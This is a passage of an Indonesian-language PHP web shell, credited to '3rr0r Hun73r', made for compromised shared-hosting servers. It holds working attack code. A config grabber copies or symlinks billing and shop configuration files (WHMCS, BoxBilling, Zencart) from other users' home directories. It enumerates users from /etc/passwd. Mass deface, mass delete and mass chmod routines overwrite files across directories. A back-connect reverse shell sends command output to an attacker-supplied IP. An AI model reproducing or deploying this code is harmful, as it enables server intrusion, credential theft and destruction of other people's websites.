  1760. "/home/$user_cox/public_html/CHECKOUT/submitticket.php" => "WHMCS",
  1761. "/home/$user_cox/public_html/Checkout/submitticket.php" => "WHMCS",
  1762. "/home/$user_cox/public_html/checkout/submitticket.php" => "WHMCS",
  1763. "/home/$user_cox/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1764. "/home/$user_cox/public_html/Billings/submitticket.php" => "WHMCS",
  1765. "/home/$user_cox/public_html/billings/submitticket.php" => "WHMCS",
  1766. "/home/$user_cox/public_html/BASKET/submitticket.php" => "WHMCS",
  1767. "/home/$user_cox/public_html/Basket/submitticket.php" => "WHMCS",
  1768. "/home/$user_cox/public_html/basket/submitticket.php" => "WHMCS",
  1769. "/home/$user_cox/public_html/SECURE/submitticket.php" => "WHMCS",
  1770. "/home/$user_cox/public_html/Secure/submitticket.php" => "WHMCS",
  1771. "/home/$user_cox/public_html/secure/submitticket.php" => "WHMCS",
  1772. "/home/$user_cox/public_html/SALES/submitticket.php" => "WHMCS",
  1773. "/home/$user_cox/public_html/Sales/submitticket.php" => "WHMCS",
  1774. "/home/$user_cox/public_html/sales/submitticket.php" => "WHMCS",
  1775. "/home/$user_cox/public_html/BILL/submitticket.php" => "WHMCS",
  1776. "/home/$user_cox/public_html/Bill/submitticket.php" => "WHMCS",
  1777. "/home/$user_cox/public_html/bill/submitticket.php" => "WHMCS",
  1778. "/home/$user_cox/public_html/PURCHASE/submitticket.php" => "WHMCS",
  1779. "/home/$user_cox/public_html/Purchase/submitticket.php" => "WHMCS",
  1780. "/home/$user_cox/public_html/purchase/submitticket.php" => "WHMCS",
  1781. "/home/$user_cox/public_html/ACCOUNT/submitticket.php" => "WHMCS",
  1782. "/home/$user_cox/public_html/Account/submitticket.php" => "WHMCS",
  1783. "/home/$user_cox/public_html/account/submitticket.php" => "WHMCS",
  1784. "/home/$user_cox/public_html/USER/submitticket.php" => "WHMCS",
  1785. "/home/$user_cox/public_html/User/submitticket.php" => "WHMCS",
  1786. "/home/$user_cox/public_html/user/submitticket.php" => "WHMCS",
  1787. "/home/$user_cox/public_html/CLIENTS/submitticket.php" => "WHMCS",
  1788. "/home/$user_cox/public_html/Clients/submitticket.php" => "WHMCS",
  1789. "/home/$user_cox/public_html/clients/submitticket.php" => "WHMCS",
  1790. "/home/$user_cox/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1791. "/home/$user_cox/public_html/Billings/submitticket.php" => "WHMCS",
  1792. "/home/$user_cox/public_html/billings/submitticket.php" => "WHMCS",
  1793. "/home/$user_cox/public_html/MY/submitticket.php" => "WHMCS",
  1794. "/home/$user_cox/public_html/My/submitticket.php" => "WHMCS",
  1795. "/home/$user_cox/public_html/my/submitticket.php" => "WHMCS",
  1796. "/home/$user_cox/public_html/secure/whm/submitticket.php" => "WHMCS",
  1797. "/home/$user_cox/public_html/secure/whmcs/submitticket.php" => "WHMCS",
  1798. "/home/$user_cox/public_html/panel/submitticket.php" => "WHMCS",
  1799. "/home/$user_cox/public_html/clientes/submitticket.php" => "WHMCS",
  1800. "/home/$user_cox/public_html/cliente/submitticket.php" => "WHMCS",
  1801. "/home/$user_cox/public_html/support/order/submitticket.php" => "WHMCS",
  1802. "/home/$user_cox/public_html/bb-config.php" => "BoxBilling",
  1803. "/home/$user_cox/public_html/boxbilling/bb-config.php" => "BoxBilling",
  1804. "/home/$user_cox/public_html/box/bb-config.php" => "BoxBilling",
  1805. "/home/$user_cox/public_html/host/bb-config.php" => "BoxBilling",
  1806. "/home/$user_cox/public_html/Host/bb-config.php" => "BoxBilling",
  1807. "/home/$user_cox/public_html/supportes/bb-config.php" => "BoxBilling",
  1808. "/home/$user_cox/public_html/support/bb-config.php" => "BoxBilling",
  1809. "/home/$user_cox/public_html/hosting/bb-config.php" => "BoxBilling",
  1810. "/home/$user_cox/public_html/cart/bb-config.php" => "BoxBilling",
  1811. "/home/$user_cox/public_html/order/bb-config.php" => "BoxBilling",
  1812. "/home/$user_cox/public_html/client/bb-config.php" => "BoxBilling",
  1813. "/home/$user_cox/public_html/clients/bb-config.php" => "BoxBilling",
  1814. "/home/$user_cox/public_html/cliente/bb-config.php" => "BoxBilling",
  1815. "/home/$user_cox/public_html/clientes/bb-config.php" => "BoxBilling",
  1816. "/home/$user_cox/public_html/billing/bb-config.php" => "BoxBilling",
  1817. "/home/$user_cox/public_html/billings/bb-config.php" => "BoxBilling",
  1818. "/home/$user_cox/public_html/my/bb-config.php" => "BoxBilling",
  1819. "/home/$user_cox/public_html/secure/bb-config.php" => "BoxBilling",
  1820. "/home/$user_cox/public_html/support/order/bb-config.php" => "BoxBilling",
  1821. "/home/$user_cox/public_html/includes/dist-configure.php" => "Zencart",
  1822. "/home/$user_cox/public_html/zencart/includes/dist-configure.php" => "Zencart",
  1823. "/home/$user_cox/public_html/products/includes/dist-configure.php" => "Zencart",
  1824. "/home/$user_cox/public_html/cart/includes/dist-configure.php" => "Zencart",
  1825. "/home/$user_cox/public_html/shop/includes/dist-configure.php" => "Zencart",
  1826. "/home/$user_cox/public_html/includes/iso4217.php" => "Hostbills",
  1827. "/home/$user_cox/public_html/hostbills/includes/iso4217.php" => "Hostbills",
  1828. "/home/$user_cox/public_html/host/includes/iso4217.php" => "Hostbills",
  1829. "/home/$user_cox/public_html/Host/includes/iso4217.php" => "Hostbills",
  1830. "/home/$user_cox/public_html/supportes/includes/iso4217.php" => "Hostbills",
  1831. "/home/$user_cox/public_html/support/includes/iso4217.php" => "Hostbills",
  1832. "/home/$user_cox/public_html/hosting/includes/iso4217.php" => "Hostbills",
  1833. "/home/$user_cox/public_html/cart/includes/iso4217.php" => "Hostbills",
  1834. "/home/$user_cox/public_html/order/includes/iso4217.php" => "Hostbills",
  1835. "/home/$user_cox/public_html/client/includes/iso4217.php" => "Hostbills",
  1836. "/home/$user_cox/public_html/clients/includes/iso4217.php" => "Hostbills",
  1837. "/home/$user_cox/public_html/cliente/includes/iso4217.php" => "Hostbills",
  1838. "/home/$user_cox/public_html/clientes/includes/iso4217.php" => "Hostbills",
  1839. "/home/$user_cox/public_html/billing/includes/iso4217.php" => "Hostbills",
  1840. "/home/$user_cox/public_html/billings/includes/iso4217.php" => "Hostbills",
  1841. "/home/$user_cox/public_html/my/includes/iso4217.php" => "Hostbills",
  1842. "/home/$user_cox/public_html/secure/includes/iso4217.php" => "Hostbills",
  1843. "/home/$user_cox/public_html/support/order/includes/iso4217.php" => "Hostbills",
  1844. );
  1845.  
  1846. foreach ($grab_config as $config => $nama_config) {
  1847. if ($_POST['tipe'] == 'grab') {
  1848. $ambil_config = file_get_contents($config);
  1849. if ($ambil_config == '') {
  1850. } else {
  1851. $file_config = fopen("0xgrab/$user_cox-$nama_config.txt", "w");
  1852. fputs($file_config, $ambil_config);
  1853. }
  1854. }
  1855. if ($_POST['tipe'] == 'grabsym') {
  1856. @symlink($config, "0xsym/" . $user_cox . "-" . $nama_config . ".txt");
  1857. }
  1858. if ($_POST['tipe'] == 'grabsym404') {
  1859. $sym404 = symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt");
  1860. if ($sym404) {
  1861. @mkdir("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404", 0777);
  1862. $xsym404 = "Options Indexes FollowSymLinks
  1863. DirectoryIndex jancox.htm
  1864. HeaderName 0x.txt
  1865. Satisfy Any
  1866. IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
  1867. IndexIgnore *
  1868. IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'";
  1869.  
  1870. @file_put_contents("0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/.htaccess", $xsym404);
  1871.  
  1872. @symlink($config, "0xsym404/" . $user_cox . "-" . $nama_config . ".txt404/0x.txt");
  1873.  
  1874. }
  1875.  
  1876. }
  1877.  
  1878. }
  1879. }if ($_POST['tipe'] == 'grab') {
  1880. echo "<center><a href='?dir=$dir/0xgrab'><font color=lime>Done</font></a></center>";
  1881. }
  1882. if ($_POST['tipe'] == 'grabsym404') {
  1883. echo "<center>
  1884. <a href=\"0xsym404/root/\">Root Server</a>
  1885. <br><a href=\"0xsym404/\">Configurations</a></center>";
  1886. }
  1887. if ($_POST['tipe'] == 'grabsym') {
  1888. echo "<center>
  1889. <a href=\"0xsym/root/\">Root Server</a>
  1890. <br><a href=\"0xsym/\">Configurations</a></center>";
  1891. }if ($_POST['tipe'] == 'grabsymv') {
  1892. echo "<center>
  1893. <a href=\"0xsymv/root/\">Root Server</a>
  1894. <br><a href=\"0xsymv/\">Configurations</a></center>";
  1895. }
  1896.  
  1897. } else {
  1898. echo "<form method=\"post\" action=\"\"><center>
  1899. <select class=\"select\" name=\"tipe\" style=\"width: 450px;\" height=\"10\">
  1900. <option value=\"grab\">Config Grab</option>
  1901. <option value=\"grabsym\">Symlink Config</option>
  1902. <option value=\"grabsym404\">Symlink Config 404</option>
  1903. <option value=\"grabsymv\">VHosts Symlink Config</option>
  1904. </center></select>
  1905. <br>\n";
  1906. if (!$etcpasswd) {
  1907. echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1908. for ($uid = 0; $uid < 60000; $uid++) {
  1909. $ara = posix_getpwuid($uid);
  1910. if (!empty($ara)) {
  1911. while (list($key, $val) = each($ara)) {
  1912. print "$val:";
  1913. }
  1914. print "\n";
  1915. }
  1916. }
  1917. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1918. } else {
  1919. echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1920. echo $etcpasswd;
  1921. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1922.  
  1923. }
  1924. }
  1925.  
  1926. } elseif (isset($_GET['do']) && ($_GET['do'] == 'cekjum')) {
  1927. echo '<form method="post" action="" style="float: left;">
  1928. Dir :
  1929. <input size="30" name="cekjum" height="10" type="text"><input name="submit" value=">>" type="submit">
  1930. </form><br><br>';
  1931. if ($_POST) {
  1932. echo cekjum($_REQUEST['cekjum']);
  1933. } else {
  1934. echo cekjum($_GET['cekjum']);
  1935. }
  1936. } elseif (isset($_GET['do']) && ($_GET['do'] == 'jump')) {
  1937. $i = 0;
  1938. echo "<pre><div class='margin: 5px auto;'>";
  1939. $etc = $etcpasswd;
  1940.  
  1941. if (!$etc) {
  1942. echo "<font color=red>Can't read /etc/passwd</font>";
  1943. } else {
  1944. preg_match_all('/(.*?):x:/', $etc, $user_jumping);
  1945. foreach ($user_jumping[1] as $userjum) {
  1946. $userjumdir = "/home/$userjum/public_html";
  1947. $perm = permissions($userjumdir);
  1948. $perm = w($userjumdir, $perm);
  1949.  
  1950. if (is_readable($userjumdir)) {
  1951. $i++;
  1952. $jrw = "<a>[<font color=lime>R</font>] [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
  1953. if (is_writable($userjumdir)) {
  1954. $jrw = "<a>[<font color=lime>RW</font>] [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
  1955. }
  1956. echo $jrw;
  1957. }
  1958. }
  1959. }
  1960. if ($i == 0) {
  1961. } else {
  1962. echo "<br>Total ada " . $i . " Kimcil di " . gethostbyname($_SERVER['HTTP_HOST']) . "";
  1963. }
  1964. echo "</div></pre>";
  1965. } elseif (isset($_GET['do']) && ($_GET['do'] == 'setting')) {
  1966. echo "<center>
  1967. <h1>Manual Setting Area</h1>
  1968. <form method='post'>
  1969. <br><input type='submit' value='RESET ALL' name='reset'><br>
  1970. etc/passwd<br>
  1971. <textarea style='background:black;outline:none;' name='etcpasswd' rows='10' cols='67'>$etcpasswd</textarea>
  1972. <input type='submit' value='Save'>
  1973. <br>etc/trueuserowners<br>
  1974. <textarea style='background:black;outline:none;' name='etctrueuserowners' rows='10' cols='67'>$etctrueuserowners</textarea>
  1975. <input type='submit' value='Save'>
  1976. <br>etc/named.conf<br>
  1977. <textarea style='background:black;outline:none;' name='etcnamedconf' rows='10' cols='67'></textarea>
  1978. <input type='submit' value='Save'>
  1979. <br>configlist<br>
  1980. <textarea style='background:black;outline:none;' name='configlist' rows='10' cols='67'></textarea>
  1981. <br><input type='submit' value='Save'>
  1982. </form></center>";
  1983. // $etctrueuserowners
  1984. if ($_POST['etcpasswd']) {
  1985. $_SESSION['etcpasswd'] = $_POST['etcpasswd'];
  1986. }
  1987. if ($_POST['etctrueuserowners']) {
  1988. $_SESSION['etctrueuserowners'] = $_POST['etctrueuserowners'];
  1989. }
  1990. if ($_POST['etcnamedconf']) {
  1991. $_SESSION['etcnamedconf'] = $_POST['etcnamedconf'];
  1992. }
  1993. if ($_POST['configlist']) {
  1994. $_SESSION['configlist'] = $_POST['configlist'];
  1995. }
  1996. if ($_POST['reset']) {
  1997. unset($_SESSION['etctrueuserowners']);
  1998. unset($_SESSION['etcpasswd']);
  1999. unset($_SESSION['etcnamedconf']);
  2000. unset($_SESSION['configlist']);
  2001. }
  2002.  
  2003. } elseif (isset($_GET['do']) && ($_GET['do'] == 'mass_deface')) {
  2004. echo "<center><form action=\"\" method=\"post\">\n";
  2005. $dirr = $_POST['d_dir'];
  2006. $index = $_POST["script"];
  2007. $index = str_replace('"', "'", $index);
  2008. $index = stripslashes($index);
  2009. function edit_file($file, $index)
  2010. {
  2011. if (is_writable($file)) {
  2012. clear_fill($file, $index);
  2013. echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  2014. } else {
  2015. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  2016. }
  2017. }
  2018. function hapus_massal($dir, $namafile)
  2019. {
  2020. if (is_writable($dir)) {
  2021. $dira = scandir($dir);
  2022. foreach ($dira as $dirb) {
  2023. $dirc = "$dir/$dirb";
  2024. $lokasi = $dirc . '/' . $namafile;
  2025. if ($dirb === '.') {
  2026. if (file_exists("$dir/$namafile")) {
  2027. unlink("$dir/$namafile");
  2028. }
  2029. } elseif ($dirb === '..') {
  2030. if (file_exists("" . dirname($dir) . "/$namafile")) {
  2031. unlink("" . dirname($dir) . "/$namafile");
  2032. }
  2033. } else {
  2034. if (is_dir($dirc)) {
  2035. if (is_writable($dirc)) {
  2036. if (file_exists($lokasi)) {
  2037. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  2038. unlink($lokasi);
  2039. $idx = hapus_massal($dirc, $namafile);
  2040. }
  2041. }
  2042. }
  2043. }
  2044. }
  2045. }
  2046. }
  2047. function clear_fill($file, $index)
  2048. {
  2049. if (file_exists($file)) {
  2050. $handle = fopen($file, 'w');
  2051. fwrite($handle, '');
  2052. fwrite($handle, $index);
  2053. fclose($handle);}}
  2054.  
  2055. function gass()
  2056. {
  2057. global $dirr, $index;
  2058. chdir($dirr);
  2059. $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
  2060. $files = scandir($dirr);
  2061. $notallow = array(".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "..", ".");
  2062. sort($files);
  2063. $n = 0;
  2064. foreach ($files as $file) {
  2065. if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
  2066. echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  2067. edit_file($file, $index);
  2068. flush();
  2069. $n = $n + 1;
  2070. }
  2071. }
  2072. echo "<br>";
  2073. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
  2074. }
  2075. function ListFiles($dirrall)
  2076. {
  2077.  
  2078. if ($dh = opendir($dirrall)) {
  2079.  
  2080. $files = array();
  2081. $inner_files = array();
  2082. $me = str_replace(dirname(__FILE__) . '/', '', __FILE__);
  2083. $notallow = array($me, ".htaccess", "error_log", "_vti_inf.html", "_private", "_vti_bin", "_vti_cnf", "_vti_log", "_vti_pvt", "_vti_txt", "cgi-bin", ".contactemail", ".cpanel", ".fantasticodata", ".htpasswds", ".lastlogin", "access-logs", "cpbackup-exclude-used-by-backup.conf", ".cgi_auth", ".disk_usage", ".statspwd", "Thumbs.db");
  2084. while ($file = readdir($dh)) {
  2085. if ($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow)) {
  2086. if (is_dir($dirrall . "/" . $file)) {
  2087. $inner_files = ListFiles($dirrall . "/" . $file);
  2088. if (is_array($inner_files)) {
  2089. $files = array_merge($files, $inner_files);
  2090. }
  2091.  
  2092. } else {
  2093. array_push($files, $dirrall . "/" . $file);
  2094. }
  2095. }
  2096. }
  2097.  
  2098. closedir($dh);
  2099. return $files;
  2100. }
  2101. }
  2102. function gass_all()
  2103. {
  2104. global $index;
  2105. $dirrall = $_POST['d_dir'];
  2106. foreach (ListFiles($dirrall) as $key => $file) {
  2107. $file = str_replace('//', "/", $file);
  2108. echo "<center><strong>$file</strong> ===>";
  2109. edit_file($file, $index);
  2110. flush();
  2111. }
  2112. $key = $key + 1;
  2113. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>";}
  2114. function chmod_all()
  2115. {
  2116. $chmod = $_POST['chmod'];
  2117. $dirrall = $_POST['d_dir'];
  2118. foreach (ListFiles($dirrall) as $key => $file) {
  2119. $file = str_replace('//', "/", $file);
  2120. echo "<center><strong>$file</strong> ===>";
  2121. chmod($file, $chmod);
  2122. flush();
  2123. }
  2124. $key = $key + 1;
  2125. echo "<center><br><h3>$key telah ngentu chmod disini</h3></center><br>";}
  2126. function sabun_massal($dir, $namafile, $isi_script)
  2127. {
  2128. if (is_writable($dir)) {
  2129. $dira = scandir($dir);
  2130. foreach ($dira as $dirb) {
  2131. $dirc = "$dir/$dirb";
  2132. $lokasi = $dirc . '/' . $namafile;
  2133. if ($dirb === '.') {
  2134. file_put_contents($lokasi, $isi_script);
  2135. } elseif ($dirb === '..') {
  2136. file_put_contents($lokasi, $isi_script);
  2137. } else {
  2138. if (is_dir($dirc)) {
  2139. if (is_writable($dirc)) {
  2140. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  2141. file_put_contents($lokasi, $isi_script);
  2142. $idx = sabun_massal($dirc, $namafile, $isi_script);
  2143. }
  2144. }
  2145. }
  2146. }
  2147. }
  2148. }
  2149. if ($_POST['mass'] == 'onedir') {
  2150. echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  2151. $ini = "http://";
  2152. $mainpath = $_POST[d_dir];
  2153. $dir = opendir("$mainpath");
  2154. $code = base64_encode($_POST[script]);
  2155. $indx = base64_decode($code);
  2156. while ($row = readdir($dir)) {
  2157. if($_POST["random_name"]){
  2158. $file = rand(1000000,9999999)."_".$_POST[d_file];
  2159. }else{
  2160. $file = $_POST[d_file];
  2161. }
  2162. $start = @fopen("$row/$file", "w+");
  2163. $finish = @fwrite($start, $indx);
  2164. if ($finish) {
  2165. echo "$ini$row/$file\n";
  2166. }
  2167. }
  2168. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  2169. $mainpath = $_POST[d_dir];
  2170. $dir = opendir("$mainpath");
  2171. $code = base64_encode($_POST[script]);
  2172. $indx = base64_decode($code);
  2173. while ($row = readdir($dir)) {
  2174. if($_POST["random_name"]){
  2175. $file = $_POST[d_file]."_".rand(1000000,9999999);
  2176. }else{
  2177. $file = $_POST[d_file];
  2178. }
  2179. $start = @fopen("$row/$file", "w+");
  2180. $finish = @fwrite($start, $indx);
  2181. if ($finish) {echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>';}
  2182. }
  2183.  
  2184. } elseif ($_POST['mass'] == 'sabunkabeh') {gass();} elseif ($_POST['mass'] == 'hapusmassal') {hapus_massal($_POST['d_dir'], $_POST['d_file']);} elseif ($_POST['mass'] == 'sabunmematikan') {gass_all();} elseif ($_POST['mass'] == 'chmodkabeh') {chmod_all();} elseif ($_POST['mass'] == 'massdeface') {
  2185. echo "<div style='margin: 5px auto; padding: 5px'>";
  2186. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  2187. echo "</div>";} else {
  2188. echo "
  2189. <center><font style='text-decoration: underline;'>
  2190. Select Type:<br>
  2191. </font>
  2192. <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
  2193. <option value=\"onedir\">Mass Deface 1 Dir</option>
  2194. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  2195. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  2196. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  2197. <option value=\"chmodkabeh\">Chmod Massal</option>
  2198. <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  2199. <font style='text-decoration: underline;'>Folder:</font><br>
  2200. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  2201. <font style='text-decoration: underline;'>Filename:</font><br>
  2202. <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><input type='checkbox' name='random_name' value='random name'><br>
  2203. <font style='text-decoration: underline;'>Index File:</font><br>
  2204. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 3rr0r Hun73r</textarea><br>
  2205. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  2206. </form></center>";
  2207. }
  2208. } elseif (isset($_GET['do']) && ($_GET['do'] == 'bc')) {
  2209. echo '
  2210. <div id="back">
  2211. <h2>Back Connect</h2>
  2212. <p>Back connect will allow you to enter system commands remotely.</p>
  2213. <p>
  2214. <table>
  2215. <form action="" method="post">
  2216. <tr ><td>IP Address: </td><td><input type="textbox" name="ip" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2217. <tr ><td>Port: </td><td><input type="textbox" name="port" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2218. <tr ><td><input type="submit" name="bind" value="Open Connection" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2219. </form>
  2220. </table>';
  2221. if (isset($_POST['bind'])) {
  2222. echo "<p>Attempting Connection...</p>";
  2223. $ip = $_POST['ip'];
  2224. $port = $_POST['port'];
  2225. $sockfd = fsockopen($ip, $port, $errno, $errstr);
  2226. if ($errno != 0) {
  2227. echo "<font color='red'>$errno : $errstr</font>";
  2228. } else if (!$sockfd) {
  2229. $result = "<p>Unexpected error has occured, connection may have failed.</p>";
  2230. } else {
  2231. fputs($sockfd, "
  2232. \n{################################################################}
  2233. \n..:: 3rr0r-Shell v1 - ReCoded By 3rr0r Hun73r ::..
  2234. \n
  2235. \n=> Backconnect
  2236. \n=> Back
  2237. \n
  2238. \n{################################################################}\n\n");
  2239. $dir = shell_exec("pwd");
  2240. $sysinfo = shell_exec("uname -a");
  2241. $time = Shell_exec("time");
  2242. $len = 1337;
  2243. fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");
  2244. while (!feof($sockfd)) {
  2245. $cmdPrompt = '[0x]#:> ';
  2246. fputs($sockfd, $cmdPrompt);
  2247. $command = fgets($sockfd, $len);
  2248. fputs($sockfd, "\n" . shell_exec($command) . "\n\n");
  2249. }
  2250. fclose($sockfd);
  2251. }
  2252. }
  2253. echo "</p></div>";
  2254.  
  2255. } elseif (isset($_GET['act']) && ($_GET['act'] == 'edit')) {
  2256.  
  2257. if (isset($_POST['save'])) {
  2258. $file = $_POST['saveas'];
  2259. $content = magicboom($_POST['content']);
  2260. if ($filez = @fopen($file, "w")) {
  2261. $time = date("d-M-Y H:i", time());
  2262. if (@fwrite($filez, $content)) {
  2263. $msg = "file saved <span class=\"gaya\">@</span> " . $time;
  2264. } else {
  2265. $msg = "failed to save";
  2266. }
  2267.  
  2268. @fclose($filez);
  2269. } else {
  2270. $msg = "permission denied";
  2271. }
  2272.  
  2273. }
  2274. if (!isset($file)) {
  2275. $file = $_GET['file'];
  2276. }
  2277.  
  2278. if ($filez = @fopen($file, "r")) {
  2279. $content = "";
  2280. while (!feof($filez)) {
  2281. $content .= htmlentities(str_replace("''", "'", fgets($filez)));
  2282. }
  2283. @fclose($filez);
  2284. }
  2285. ?>
  2286. <form action="" method="post">
  2287. <table class="cmdbox">
  2288. <tr>
  2289. <td colspan="2">
  2290. <textarea class="output" name="content">
  2291. <?php echo $content; ?>
  2292. </textarea>
  2293. <tr>
  2294. <td colspan="2">Save as <input id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;
  2295. <?php echo $msg; ?>
  2296. </td>
  2297. </tr>
  2298. </table>
  2299. </form>
  2300. <?php
  2301. } elseif (isset($_GET['do']) && ($_GET['do'] == 'serverinfo')) {
  2302.  
  2303. $s_safemode = ini_get("safe_mode");
  2304. if ($s_safemode = true) {$s_safemode = "<span class='enabled'>[ON";} else { $s_safemode = "<span class='disabled'>[OFF";}
  2305. if (extension_loaded('curl')) {$curls = "<span class='enabled'>[ON]</span>";} else { $curls = "<span class='disabled'>[OFF]</span>";}
  2306. echo "Server Port: " . $_SERVER['SERVER_PORT'] . "<br /><br />HTTP Connection: " . $_SERVER['HTTP_CONNECTION'] . "<br /><br />Operating System: " . php_uname() . "<br /><br />";
  2307. if (get_magic_quotes_gpc()) {echo "Magic Quotes: <span class='enabled'>[ENABLED]</span><br /><br />";} else {echo "Magic Quotes: <span class='disabled'>[DISABLED]</span><br /><br />";}
  2308. echo "PHP Version: " . phpversion() . "<br /><br />Safe Mode: " . $s_safemode . "]</span><br /><br />Curl: " . $curls . "<br /><br />Accept Encoding: " . $_SERVER['HTTP_ACCEPT_ENCODING'] . "<br /><br />Admin: " . $_SERVER['SERVER_ADMIN'] . "<br /><br /><strong>Disabled Functions: </strong>";
  2309. if (!empty($disabled)) {
  2310. foreach ($disabled as $functionsdis) {
  2311. echo $functionsdis . ", ";
  2312. }
  2313. } else {
  2314. echo "none";
  2315. }
  2316. echo "<br /><br /><strong>/etc/passwd: </strong>";
  2317. if (is_readable("/home/etc/passwd")) {
  2318. echo "<span style='color:green;'>Readable</span>";
  2319. } else {
  2320. echo "<span style='color:red;'>Unreadable</span>";
  2321. }
  2322. } elseif (isset($_GET['do']) && ($_GET['do'] == 'cmd')) {
  2323. if ($_POST['do_cmd']) {
  2324. echo "<textarea class='area' rows='15' cols='60'>" . exe($_POST['cmd']) . "</textarea>";
  2325. }
  2326. } elseif (isset($_GET['do']) && ($_GET['do'] == 'about')) {
  2327.  
  2328. echo "
  2329. <h4>Information</h4>
  2330. <p>$shell_name v$shell_version Ngelu Edition - ReCoded By 3rr0r Hun73r.</p>";
  2331.  
  2332. ?>
  2333. <ul>
  2334. <li>Appearance C6 Shell.</li>
  2335. <li>File Manager By IndoXploit.</li>
  2336. <li>Thanks.</li>
  2337. </ul>
  2338. <br /><br />
  2339. <?php
  2340. } else {
  2341. function GetFileSize($file)
  2342. {
  2343. if (!is_dir($file)) {
  2344. return round(filesize($file) / 1024, 2) . " Kb";
  2345. } else {
  2346. return "Not Availible";
  2347. }
  2348.  
  2349. }
  2350.  
  2351. function LastModified($file)
  2352. {
  2353. return date("F d Y g:i:s", filemtime("$file"));}
  2354.  
  2355. ////////////
  2356.  
  2357. if (is_dir($dir) == true) {
  2358. echo '<table cellspacing="0" cellpadding="0"><tr><td class="TableHeader_Name"> FileName</td><td class="TableHeader">Filetype</a></td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableLast">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr>';
  2359. $scandir = scandir($dir);
  2360. foreach ($scandir as $dirx) {
  2361. $dtype = @filetype("$dir/$dirx");
  2362. $dtime = date("F d Y g:i:s", @filemtime("$dir/$dirx"));
  2363. if (!is_dir("$dir/$dirx")) {
  2364. continue;
  2365. }
  2366.  
  2367. if ($dirx === '..') {
  2368. $href = dirname($dir);
  2369. } elseif ($dirx === '.') {
  2370. $href = $dir;
  2371. } else {
  2372. $href = $dir . '/' . $dirx;
  2373. }
  2374. if ($dirx == '.') {
  2375. $act_dir = "<span id=\"titik1\">
  2376. <a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  2377. <form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2378.  
  2379. <input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
  2380. <input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
  2381. </form>";
  2382. } elseif ($dirx == '..') {
  2383. $act_dir = "<span id=\"titik2\"><a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  2384. <form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2385.  
  2386. <input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
  2387. <input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
  2388. </form>";
  2389. } else {
